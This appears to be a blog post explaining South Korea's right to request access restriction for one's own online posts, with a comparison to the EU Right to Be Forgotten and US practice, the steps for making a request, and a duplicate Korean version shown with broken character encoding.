The โ€œRight to Request Access Restriction for Personal Online Postsโ€ allows individuals to request restrictions on access to their own posts on the internet. This right ensures that information and communication service providers, as personal data controllers, comply with privacy protection principles, while allowing users to safeguard their personal data.

Since 2016, South Korea has introduced this right under the Act on Promotion of Information and Communications Network Utilization and Information Protection (the Information and Communications Network Act). Under this system, individuals can request access restrictions rather than deletion of their posts.

pic

1-2. Comparison with Global Cases

When it comes to online information deletion requests, South Koreaโ€™s Right to Request Access Restriction for Personal Online Posts and the globally recognized โ€œRight to Be Forgottenโ€ share similar goals but differ in legal application and scope.

European Union (EU): Right to Be Forgotten

In the European Union, there is a legal right called the โ€œRight to Be Forgotten.โ€ This right was officially recognized in 2014 following a ruling by the Court of Justice of the European Union (CJEU) in the Google Spain case. The General Data Protection Regulation (GDPR), which took effect in 2018, explicitly defines this right.

One major case highlighting this right is:

  • Google Spain Case (2014): A Spanish man requested the removal of search results linking to outdated debt-related information. The CJEU ruled that individuals have the right to request the removal of specific search results.

While the EU shares similarities with Koreaโ€™s system, European laws place a stronger emphasis on personal data protection.

United States: Focus on Freedom of Expression

The Right to Be Forgotten is not legally recognized in the United States. Instead, digital platforms offer users the ability to delete their own posts. For example, social media platforms like Facebook and Twitter allow users to remove their posts at any time. However, due to the strong emphasis on freedom of expression, content related to public figures or issues of public interest may not be easily removed.

CategorySouth Korea (Right to Request Access Restriction)European Union (Right to Be Forgotten)United States
ScopePosts made by the individualIncludes third-party contentLimited personal data protection laws
Deletion ProcessSearch restriction (post remains)Search result removal & content deletion possibleLimited removal possible
Legal BasisInformation and Communications Network ActGDPR, CJEU rulingsFreedom of Expression, some state laws

2. How to Request Access Restriction for Your Own Posts

So, how can individuals in South Korea exercise this right and request access restrictions on their posts?

Eligible Requests

Users can exercise this right for posts they have made on online platforms, including comments, photos, and videos. If a deceased individual has designated a representative or if the family of the deceased requests access restriction, the request can still be made. If the designated representative and the family have differing opinions, the designated representativeโ€™s decision generally takes precedence.

pic

Who Can Submit a Request and Who is Responsible?

Any individual can submit a request, and it should be directed to the website administrator or search engine provider.

pic

Steps to Request Access Restriction

  1. Check if you can delete the post yourself.
    • If the user can delete their own post, the platform operator may refuse the request for access restriction.
  2. If self-deletion is not possible, request access restriction from the website administrator.
    • Supporting documents should be submitted along with the request.
    • Required documents include:
      • The URL of the post in question.
      • Proof that the requester originally posted the content.
      • A statement of reasons for the access restriction request.
  3. If further action is needed, request removal from search engine providers.
    • To do this, users must provide evidence that the website administrator has already restricted access.

3. How Service Providers Process Access Restriction Requests

Once a request is made, website administrators and search engine providers must follow a review process to determine the appropriate action.

  • Website administrators will consider the submitted evidence and apply access restriction measures, such as blurring or blocking access to the post.
  • Search engine providers will remove the post from search results where applicable.

4. Notification of Results & Third-Party Objections

Once access restriction measures have been applied, the service provider must notify the requester of the result.

If a third party objects to the restriction, the service provider will review the submitted evidence and decide whether to uphold the restriction or lift it.

5. Requesting Access Restriction from Major Korean Search Engines

Major Korean portal sites Naver (N) and Daum (D) provide guidance on requesting access restriction:

[Research] ์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ (ko)

22 February 2025 at 08:00

์•ˆ๋…•ํ•˜์„ธ์š”, romi0x์˜ˆ์š”!

์ธํ„ฐ๋„ท์— ๋‚จ๊ฒจ์ง„ ๋ณธ์ธ์˜ ํ‘์—ญ์‚ฌ๋ฅผ ์ง€์šฐ๊ณ  ์‹ถ์—ˆ๋˜ ์ ์ด ์žˆ๋‚˜์š”? ํ˜น์€ ๊ฒŒ์‹œ๋ฌผ์„ ์‚ญ์ œํ•˜๋ ค ํ–ˆ์ง€๋งŒ ์‚ญ์ œํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๊ฒฝํ—˜์ด ์žˆ๋‚˜์š”? ์„œ๋น„์Šค ํšŒ์›์„ ํƒˆํ‡ดํ•˜๊ฑฐ๋‚˜ ๊ฒŒ์‹œ๋ฌผ ์‚ญ์ œ ๋ฒ„ํŠผ์ด ์—†์–ด์„œ ์›ํ•˜๋Š” ๊ฒŒ์‹œ๋ฌผ์„ ์‚ญ์ œํ•˜์ง€ ๋ชปํ•˜๋Š” ์ƒํ™ฉ์ด ์žˆ์„ ์ˆ˜๋„ ์žˆ์–ด์š”. ์ด๋Ÿฐ ์ƒํ™ฉ์„ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด โ€˜์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒโ€™์ด๋ผ๋Š” ๊ถŒ๋ฆฌ๊ฐ€ ์žˆ์–ด์š”.

์ด๋ฒˆ ๊ธ€์—์„œ๋Š” ๋ณธ์ธ์ด ์˜ฌ๋ฆฐ ๊ฒŒ์‹œ๋ฌผ์— ๋Œ€ํ•ด ํƒ€์ธ์˜ ์ ‘๊ทผ ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒ๋ฆฌ์ธ โ€˜์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒโ€™์— ๋Œ€ํ•ด ์†Œ๊ฐœํ• ๊ฒŒ์š”.

์‚ฌ์ง„

์ถœ์ฒ˜: https://biz.chosun.com/site/data/html_dir/2014/07/17/2014071700027.html

1. ์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ?

์ด์šฉ์ž ๋ณธ์ธ์ด ์ธํ„ฐ๋„ท์ƒ์— ๊ฒŒ์‹œํ•œ ๊ฒŒ์‹œ๋ฌผ์— ๋Œ€ํ•ด ํƒ€์ธ์˜ ์ ‘๊ทผ ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒ๋ฆฌ๋ฅผ โ€˜์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒโ€™์ด๋ผ๊ณ  ํ•ด์š”. ์ด ๊ถŒ๋ฆฌ๋กœ ์ธํ•ด ์ •๋ณดํ†ต์‹ ์„œ๋น„์Šค ์ œ๊ณต์ž๋Š” ๊ฐœ์ธ์ •๋ณด์ฒ˜๋ฆฌ์ž๋กœ์„œ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ ์›์น™์„ ์ค€์ˆ˜ํ•  ์ˆ˜ ์žˆ๊ณ , ์ด์šฉ์ž๋Š” ๋ณธ์ธ์˜ ๊ฐœ์ธ์ •๋ณด๋ฅผ ๋ณดํ˜ธํ•˜๊ณ  ์•ˆ์ „ํ•˜๊ฒŒ ์ง€ํ‚ฌ ์ˆ˜ ์žˆ์–ด์š”.

ํ•œ๊ตญ์—์„œ๋Š” 2016๋…„๋ถ€ํ„ฐ ์ •๋ณดํ†ต์‹ ๋ง ์ด์šฉ์ด‰์ง„ ๋ฐ ์ •๋ณด๋ณดํ˜ธ ๋“ฑ์— ๊ด€ํ•œ ๋ฒ•๋ฅ (์ •๋ณดํ†ต์‹ ๋ง๋ฒ•)์— ๋”ฐ๋ผ ๊ฐœ์ธ์ด ์ž์‹ ์ด ์ž‘์„ฑํ•œ ๊ฒŒ์‹œ๋ฌผ์— ๋Œ€ํ•ด ๊ฒ€์ƒ‰ ์ œํ•œ์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋Š” โ€˜์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒโ€™์ด ๋„์ž…๋˜์—ˆ์–ด์š”. ์ด๋Š” ๋ณธ์ธ์ด ์ž‘์„ฑํ•œ ๊ฒŒ์‹œ๋ฌผ์ด๋ผ ํ•˜๋”๋ผ๋„ ์‚ญ์ œ ์š”์ฒญ์ด ์•„๋‹Œ โ€˜์ ‘๊ทผ ์ œํ•œโ€™ ์กฐ์น˜๋ฅผ ์š”๊ตฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•œ ์ œ๋„์˜ˆ์š”.

์‚ฌ์ง„

1-2. ํ•ด์™ธ ์‚ฌ๋ก€์™€ ๊ตญ๋‚ด ๋น„๊ต

์ธํ„ฐ๋„ท์ƒ์˜ ์ •๋ณด ์‚ญ์ œ ์š”์ฒญ๊ณผ ๊ด€๋ จํ•˜์—ฌ ํ•œ๊ตญ์˜ โ€˜์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒโ€™๊ณผ ํ•ด์™ธ์—์„œ ๋„๋ฆฌ ๋…ผ์˜๋˜๋Š” โ€˜์žŠํž ๊ถŒ๋ฆฌ(right to be forgotten)โ€™๋Š” ๊ณตํ†ต๋œ ๋ชฉ์ ์„ ๊ฐ€์ง€๋ฉด์„œ๋„ ๋ฒ•์  ์ ์šฉ ๋ฐฉ์‹๊ณผ ๋ฒ”์œ„์—์„œ ์ฐจ์ด๋ฅผ ๋ณด์—ฌ์š”.

์œ ๋Ÿฝ์—ฐํ•ฉ(EU): ์žŠํ˜€์งˆ ๊ถŒ๋ฆฌ

์œ ๋Ÿฝ์—ฐํ•ฉ์—์„œ๋Š” โ€˜์žŠํ˜€์งˆ ๊ถŒ๋ฆฌ(Right to be Forgotten)โ€™๋ผ๋Š” ๋ฒ•์  ๊ถŒ๋ฆฌ๊ฐ€ ์žˆ์–ด์š”. 2014๋…„ ์œ ๋Ÿฝ์‚ฌ๋ฒ•์žฌํŒ์†Œ(CJEU)์˜ ํŒ๊ฒฐ(๊ตฌ๊ธ€ ์ŠคํŽ˜์ธ ์‚ฌ๊ฑด) ์ดํ›„ ๊ณต์‹์ ์œผ๋กœ ์ธ์ •๋˜์—ˆ์–ด์š”. ์ดํ›„ 2018๋…„ ์‹œํ–‰๋œ ์ผ๋ฐ˜ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฒ•(GDPR)์—์„œ๋„ ์žŠํž ๊ถŒ๋ฆฌ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ๊ทœ์ •ํ•˜๊ณ  ์žˆ์ฃ .

์ฃผ์š” ์‚ฌ๋ก€๋กœ๋Š” ๊ตฌ๊ธ€ ์ŠคํŽ˜์ธ ์‚ฌ๊ฑด์ด ์žˆ์–ด์š”.

  • ๊ตฌ๊ธ€ ์ŠคํŽ˜์ธ ์‚ฌ๊ฑด(2014): ์ŠคํŽ˜์ธ์˜ ํ•œ ๋‚จ์„ฑ์ด ๊ณผ๊ฑฐ ์ฑ„๋ฌด ๊ด€๋ จ ์ •๋ณด๊ฐ€ ๊ตฌ๊ธ€ ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ์— ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ๋ฌธ์ œ ์‚ผ์•„ ์‚ญ์ œ๋ฅผ ์š”์ฒญํ•œ ์‚ฌ๊ฑด์—์„œ ์œ ๋Ÿฝ์‚ฌ๋ฒ•์žฌํŒ์†Œ๋Š” ๊ฐœ์ธ์ด ํŠน์ • ์ •๋ณด์— ๋Œ€ํ•œ ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ ์‚ญ์ œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํŒ๊ฒฐํ–ˆ์–ด์š”.

์œ ๋Ÿฝ์—ฐํ•ฉ์—์„œ๋Š” ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ๊ณผ ์œ ์‚ฌํ•œ ๊ฐœ๋…์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€๋งŒ, ์œ ๋Ÿฝ์—์„œ๋Š” ๊ฐœ์ธ์˜ ์ •๋ณด ๋ณดํ˜ธ๋ฅผ ๋” ๊ฐ•์กฐํ•˜๋Š” ๋ฒ•์  ํ™˜๊ฒฝ์ด์—์š”.

๋ฏธ๊ตญ: ํ‘œํ˜„์˜ ์ž์œ  ์ค‘์‹ฌ

๋ฏธ๊ตญ์€ โ€˜์žŠํž ๊ถŒ๋ฆฌโ€™๊ฐ€ ๋ฒ•์ ์œผ๋กœ ๋ณด์žฅ๋˜์ง€ ์•Š์ง€๋งŒ, ๊ฐ ๋””์ง€ํ„ธ ํ”Œ๋žซํผ์—์„œ ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฒŒ์‹œ๋ฌผ ์‚ญ์ œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๊ณ  ์žˆ์–ด์š”. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์Šค๋ถ์ด๋‚˜ ํŠธ์œ„ํ„ฐ์™€ ๊ฐ™์€ SNS ํ”Œ๋žซํผ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ์–ธ์ œ๋“ ์ง€ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๊ณ  ์žˆ์–ด์š”. ํ•˜์ง€๋งŒ ๋ฏธ๊ตญ์—์„œ๋Š” ํ‘œํ˜„์˜ ์ž์œ ๊ฐ€ ์ค‘์š”์‹œ๋˜๋ฏ€๋กœ, ๊ณต์  ์ธ๋ฌผ์˜ ๊ฒŒ์‹œ๋ฌผ์ด๋‚˜ ๊ณต์ต์ ์ธ ๋‚ด์šฉ์— ๋Œ€ํ•ด์„œ๋Š” ์‚ญ์ œ๊ฐ€ ์ œํ•œ๋  ์ˆ˜ ์žˆ์–ด์š”.

๊ตฌ๋ถ„๊ตญ๋‚ด ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ์œ ๋Ÿฝ์—ฐํ•ฉ(EU)๋ฏธ๊ตญ
์ ์šฉ ๋ฒ”์œ„๋ณธ์ธ์ด ์ž‘์„ฑํ•œ ๊ฒŒ์‹œ๋ฌผ์ œ3์ž๊ฐ€ ์˜ฌ๋ฆฐ ์ •๋ณด ํฌํ•จ์ผ๋ถ€ ๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ๋ฒ• ์ ์šฉ
์‚ญ์ œ ๋ฐฉ์‹๊ฒ€์ƒ‰ ์ œํ•œ(๊ฒŒ์‹œ๋ฌผ์€ ๋‚จ์•„ ์žˆ์Œ)๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ ์‚ญ์ œ ๋ฐ ์ •๋ณด ์‚ญ์ œ ๊ฐ€๋Šฅ์ œํ•œ์  ์‚ญ์ œ ๊ฐ€๋Šฅ
๋ฒ•์  ๊ทผ๊ฑฐ์ •๋ณดํ†ต์‹ ๋ง๋ฒ•GDPR, ์œ ๋Ÿฝ์‚ฌ๋ฒ•์žฌํŒ์†Œ ํŒ๋ก€ํ‘œํ˜„์˜ ์ž์œ  ์›์น™, ์ผ๋ถ€ ์ฃผ ๋ฒ•๋ฅ 

2. ์ด์šฉ์ž ๋ณธ์ธ์˜ ์ ‘๊ทผ๋ฐฐ์ œ ์š”์ฒญ ๋ฐฉ๋ฒ• ๋ฐ ์ ˆ์ฐจ

๊ทธ๋ ‡๋‹ค๋ฉด, ๊ตญ๋‚ด์—์„œ ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ์€ ์–ด๋–ป๊ฒŒ ์‹ ์ฒญํ•˜๊ณ  ์–ด๋–ค ๊ณผ์ •์œผ๋กœ ์ฒ˜๋ฆฌ๋˜๋Š”์ง€ ์•Œ์•„๋ณผ๊ฒŒ์š”.

  • ๊ถŒ๋ฆฌํ–‰์‚ฌ ๋Œ€์ƒ

    ์ •๋ณดํ†ต์‹ ๋ง์„ ํ†ตํ•ด ๋ณธ์ธ์ด ๊ฒŒ์‹œํ•œ ๊ธ€(๋Œ“๊ธ€), ์‚ฌ์ง„, ๋™์˜์ƒ ๋ฐ ์ด์— ์ค€ํ•˜๋Š” ๊ฒŒ์‹œ๋ฌผ์— ๋Œ€ํ•ด์„œ ๊ถŒ๋ฆฌ๋ฅผ ํ–‰์‚ฌํ•  ์ˆ˜ ์žˆ์–ด์š”. ๋งŒ์•ฝ ๊ณ ์ธ์ด ์ƒ์ „์— ๊ถŒ๋ฆฌ๋ฅผ ์œ„์ž„ํ•œ ์ง€์ •์ธ ๋˜๋Š” ๊ณ ์ธ์˜ ์œ ์กฑ์ด ์ ‘๊ทผ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒฝ์šฐ์—๋„ ๊ถŒ๋ฆฌ๋ฅผ ํ–‰์‚ฌํ•  ์ˆ˜ ์žˆ์–ด์š”. ์ง€์ •์ธ๊ณผ ์œ ์กฑ์˜ ์˜๊ฒฌ์ด ๋‹ค๋ฅธ ๊ฒฝ์šฐ์—๋Š” ํŠน๋ณ„ํ•œ ์‚ฌ์ •์ด ์—†๋Š” ํ•œ ์ง€์ •์ธ์˜ ์˜๊ฒฌ์„ ๋”ฐ๋ผ์š”.
    ์‚ฌ์ง„

  • ๊ถŒ๋ฆฌํ–‰์‚ฌ ์ฃผ์ฒด ๋ฐ ์ƒ๋Œ€๋ฐฉ

    ๊ถŒ๋ฆฌ๋ฅผ ํ–‰์‚ฌํ•˜๋Š” ์ฃผ์ฒด๋Š” ๋ˆ„๊ตฌ๋“ ์ง€ ๊ฐ€๋Šฅํ•˜๋ฉฐ ๊ทธ ์ƒ๋Œ€๋Š” ๊ฒŒ์‹œํŒ ๊ด€๋ฆฌ์ž ๋˜๋Š” ๊ฒ€์ƒ‰์„œ๋น„์Šค ์‚ฌ์—…์ž์˜ˆ์š”.
    ์‚ฌ์ง„

  • ์š”์ฒญ ๋ฐฉ๋ฒ• ๋ฐ ์ ˆ์ฐจ

    ์š”์ฒญํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ ์ ˆ์ฐจ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์•„์š”.

    1. ์ด์šฉ์ž ๋ณธ์ธ์ด ์ง์ ‘ ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ์„ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์š”.
      • ์ด์šฉ์ž ๋ณธ์ธ์ด ์ง์ ‘ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‚ฌ์—…์ž๋Š” ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์–ด์š”.
    2. ์ด์šฉ์ž๊ฐ€ ์ง์ ‘ ์‚ญ์ œํ•˜๊ธฐ ์–ด๋ ต๋‹ค๋ฉด, ๊ฒŒ์‹œํŒ ๊ด€๋ฆฌ์ž์—๊ฒŒ ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ์˜ ์ ‘๊ทผ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ•ด์š”.
      ์ด๋•Œ, ์š”์ฒญ ์‹œ ์ž…์ฆ ์ž๋ฃŒ๋“ค์„ ์ฒจ๋ถ€ํ•ด์•ผ ํ•ด์š”.

      • ์ ‘๊ทผ๋ฐฐ์ œ๋ฅผ ์›ํ•˜๋Š” ๊ฒŒ์‹œ๋ฌผ ๋ฐ ๊ฒŒ์‹œ๋ฌผ์˜ ์œ„์น˜์ž๋ฃŒ(URL)
      • ์š”์ฒญ์ธ์ด ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒŒ์‹œํ•˜์˜€๋‹ค๋Š” ์‚ฌ์‹ค์„ ์ž…์ฆํ•  ์ˆ˜ ์žˆ๋Š” ์ž๋ฃŒ
      • ์ ‘๊ทผ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ•˜๋Š” ์‚ฌ์œ 
    3. ๊ฒ€์ƒ‰์„œ๋น„์Šค ์‚ฌ์—…์ž์—๊ฒŒ ๊ฒ€์ƒ‰๋ชฉ๋ก์˜ ๋ฐฐ์ œ๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ์›ํ•œ๋‹ค๋ฉด, ๊ฒŒ์‹œํŒ ๊ด€๋ฆฌ์ž์˜ ์ ‘๊ทผ๋ฐฐ์ œ ์กฐ์น˜ ์‚ฌ์‹ค์„ ์ž…์ฆํ•  ์ˆ˜ ์žˆ๋Š” ์ž๋ฃŒ๋ฅผ ์ฒจ๋ถ€ํ•ด ๊ฒ€์ƒ‰์„œ๋น„์Šค ์‚ฌ์—…์ž์—๊ฒŒ ๊ฒ€์ƒ‰๋ชฉ๋ก ๋ฐฐ์ œ ์š”์ฒญ์„ ํ•ด์š”.

3. ์‚ฌ์—…์ž์˜ ์ ‘๊ทผ๋ฐฐ์ œ ์กฐ์น˜ ๋ฐฉ๋ฒ• ๋ฐ ์ ˆ์ฐจ

์ด์šฉ์ž๊ฐ€ ์ ‘๊ทผ๋ฐฐ์ œ๋ฅผ ์š”์ฒญํ–ˆ๋‹ค๋ฉด ๊ฒŒ์‹œํŒ ๊ด€๋ฆฌ์ž์™€ ๊ฒ€์ƒ‰์„œ๋น„์Šค ์‚ฌ์—…์ž๋Š” ์–ด๋–ค ๋ฐฉ๋ฒ•์œผ๋กœ ์กฐ์น˜๋ฅผ ํ•ด์•ผํ• ๊นŒ์š”?

์‚ฌ์—…์ž๋Š” ์ด์šฉ์ž์˜ ์š”์ฒญ์„ ๊ฒ€ํ† ํ•œ ํ›„ ์ ์ ˆํ•œ ์กฐ์น˜๋ฅผ ์ทจํ•ด์•ผ ํ•ด์š”. ๊ฒŒ์‹œํŒ ๊ด€๋ฆฌ์ž๋Š” ์š”์ฒญ์ธ์ด ์ œ์ถœํ•œ ์ž…์ฆ์ž๋ฃŒ๋ฅผ ์ข…ํ•ฉ์ ์œผ๋กœ ๊ณ ๋ คํ•ด ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ์— ๋Œ€ํ•œ ๋ธ”๋ผ์ธ๋“œ ์ฒ˜๋ฆฌ ๋“ฑ์œผ๋กœ ์ ‘๊ทผ๋ฐฐ์ œ ์กฐ์น˜๋ฅผ ์‹ค์‹œํ•ด์•ผ ํ•ด์š”. ๊ฒ€์ƒ‰์„œ๋น„์Šค ์‚ฌ์—…์ž๋Š” ๊ฒ€์ƒ‰๋ชฉ๋ก์—์„œ ๋ฐฐ์ œํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์กฐ์น˜๋ฅผ ์ทจํ•ด์•ผ ํ•ด์š”.

4. ๊ฒฐ๊ณผ ํ†ต๋ณด ๋ฐ ์ œ3์ž์˜ ์ด์˜์‹ ์ฒญ

์‚ฌ์—…์ž๋Š” ์ ‘๊ทผ๋ฐฐ์ œ ์กฐ์น˜๋ฅผ ์™„๋ฃŒํ•œ ๊ฒฝ์šฐ ์š”์ฒญ์ธ์—๊ฒŒ ๊ฒฐ๊ณผ๋ฅผ ํ†ต๋ณดํ•ด์•ผ ํ•ด์š”. ๋˜ํ•œ, ์ œ3์ž๊ฐ€ ์ด์— ๋Œ€ํ•œ ์ด์˜๋ฅผ ์ œ๊ธฐํ•  ์ˆ˜ ์žˆ์–ด์š”. ์ด ๊ฒฝ์šฐ, ์‚ฌ์—…์ž๋Š” ์š”์ฒญ์ธ์˜ ์ž…์ฆ์ž๋ฃŒ๋ฅผ ๊ฒ€ํ† ํ•œ ํ›„ ์ด์˜ ์‹ ์ฒญ์„ ๋ฐ›์•„๋“ค์ผ์ง€ ๊ฒฐ์ •ํ•ด์•ผ ํ•ด์š”.

๊ตญ๋‚ด ์œ ๋ช… ํฌํ„ธ์‚ฌ์ดํŠธ N์‚ฌ์™€ D์‚ฌ๋„ ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ ์š”์ฒญ๊ถŒ์„ ์•ˆ๋‚ดํ•˜๊ณ  ์žˆ์–ด์š”.

Ref

๊ฐœ์ธ์ •๋ณด๋ณดํ˜ธ์œ„์›ํšŒ ใ€Œ์ธํ„ฐ๋„ท ์ž๊ธฐ๊ฒŒ์‹œ๋ฌผ ์ ‘๊ทผ๋ฐฐ์ œ์š”์ฒญ๊ถŒ ์•ˆ๋‚ด์„œใ€ 2024.12

โŒ
โŒ